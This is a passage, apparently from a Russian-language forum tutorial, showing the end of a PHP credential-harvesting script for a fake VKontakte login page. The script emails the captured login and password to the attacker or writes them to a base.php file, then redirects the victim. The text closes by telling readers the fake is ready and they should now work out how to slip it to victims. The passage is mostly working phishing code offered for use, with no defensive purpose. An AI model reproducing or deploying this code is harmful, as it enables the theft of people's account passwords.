""; $info="$p0:$p1:$p2:\n"; if ($IS_EMAIL){ mail($BASE, "*** Логин_и_пароль", $headers.$info); } else { $fd=fopen($BASE,"a+"); fwrite($fd,$info); fclose($fd); } header("Location:$LOCATION"); ?> А в файл base.php ввдем просто это Код: <?php exit; ?> Код Код: <?php exit; ?> Всё фейк вконтакте готов дальше думайте как его подсунуть.